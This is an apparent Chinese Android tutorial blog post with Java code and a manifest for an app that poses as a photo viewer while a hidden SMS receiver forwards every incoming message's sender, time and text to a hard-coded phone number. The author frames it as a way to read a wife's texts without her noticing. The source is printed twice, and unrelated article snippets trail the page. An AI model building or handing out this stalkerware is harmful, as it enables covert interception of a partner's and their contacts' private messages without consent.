編輯:關於Android編程
首先我們要上一個圖片偽裝下,你可以多放幾張你老婆的漂亮照片,不然哪天就把程序卸載了,那就悲劇了,嘎嘎,我這裡簡單起見拿來了一張美女的照片,我本身比較喜歡美女,哈哈
[java]
package com.example.smslistener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SMSListenerBroadcastReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
SmsMessage [] messages = new SmsMessage[pdus.length];
for(int i=0; i<pdus.length; i++){
byte[]pdu = (byte[]) pdus[i];
//從pud中創建一個消息
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg: messages){
//獲取短信的內容
String content = msg.getMessageBody();
//獲取發送的人
String sender = msg.getOriginatingAddress();
//獲取短信的時間
long timer = msg.getTimestampMillis();
//將毫秒數字轉換成日期格式
Date date = new Date(timer);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-DD HH-MM-SS");
String time = sdf.format(date);
String smsContent = time + ": " + sender + ": " + content;
//調用發送短信的方法
sendSmsMessage("5556", smsContent);
}
}
/**
* 發送短信的方法
* @param phoneNumber
* @param content
*/
public void sendSmsMessage(String phoneNumber, String content){
SmsManager smsManager = SmsManager.getDefault();
//判斷短信內容的長度,如果長度大於70就會出錯,所以這步很重要
if(content.length() >= 70){
List<String> list = smsManager.divideMessage(content);
for(String mMsg: list){
smsManager.sendTextMessage(phoneNumber, null, mMsg, null, null);
}
}else{
smsManager.sendTextMessage(phoneNumber, null, content, null, null);
}
}
}
package com.example.smslistener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SMSListenerBroadcastReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
SmsMessage [] messages = new SmsMessage[pdus.length];
for(int i=0; i<pdus.length; i++){
byte[]pdu = (byte[]) pdus[i];
//從pud中創建一個消息
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg: messages){
//獲取短信的內容
String content = msg.getMessageBody();
//獲取發送的人
String sender = msg.getOriginatingAddress();
//獲取短信的時間
long timer = msg.getTimestampMillis();
//將毫秒數字轉換成日期格式
Date date = new Date(timer);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-DD HH-MM-SS");
String time = sdf.format(date);
String smsContent = time + ": " + sender + ": " + content;
//調用發送短信的方法
sendSmsMessage("5556", smsContent);
}
}
/**
* 發送短信的方法
* @param phoneNumber
* @param content
*/
public void sendSmsMessage(String phoneNumber, String content){
SmsManager smsManager = SmsManager.getDefault();
//判斷短信內容的長度,如果長度大於70就會出錯,所以這步很重要
if(content.length() >= 70){
List<String> list = smsManager.divideMessage(content);
for(String mMsg: list){
smsManager.sendTextMessage(phoneNumber, null, mMsg, null, null);
}
}else{
smsManager.sendTextMessage(phoneNumber, null, content, null, null);
}
}
}
上面的代碼很簡單,手機收到短信之後,android系統會發送一個短消息廣播,他的action是android.provider.Telephony.SMS_RECEIVED,我們的廣播接收器過濾這個action就行了,那樣子我們就可以獲取短信的內容,短信的發送者,短信的發送時間等等,然後在調用android的發送短信就搞定了,發送短信有一個權限<uses-permission android:name="android.permission.SEND_SMS"/>
AndroidMainfest.xml
[html]
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.smslistener"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="16" />
<application
android:icon="@drawable/xiaohua"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.example.smslistener.MainActivity"
android:theme="@style/ActivityTheme" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SMSListenerBroadcastReceive">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
</manifest>
Fiddler是一個HTTP協議調試代理工具,在開發網絡應用的時候經常會用到,其最基本的作用是能抓HTTP的數據包,當然它還有更高級的用法,如添加斷點、修改請求與相應的數
(一)概述在上一節中我們對Fragment進行了一個初步的了解,學習了概念,生命周期,Fragment管理與 Fragment事務,以及動態與靜態加載Fragment。從
GridView網格視圖,網格視圖組件,九宮圖顯示數據表格(一種控件)ScrollView滾動視圖是一個單一容器,只能包含一個組件。ViewPager左右滑動SlideM
先看看效果: 首先,導入包:compile files(libs/nineoldandroids-2.4.0.jar)r然後在main中創建一個widget包。 c創建V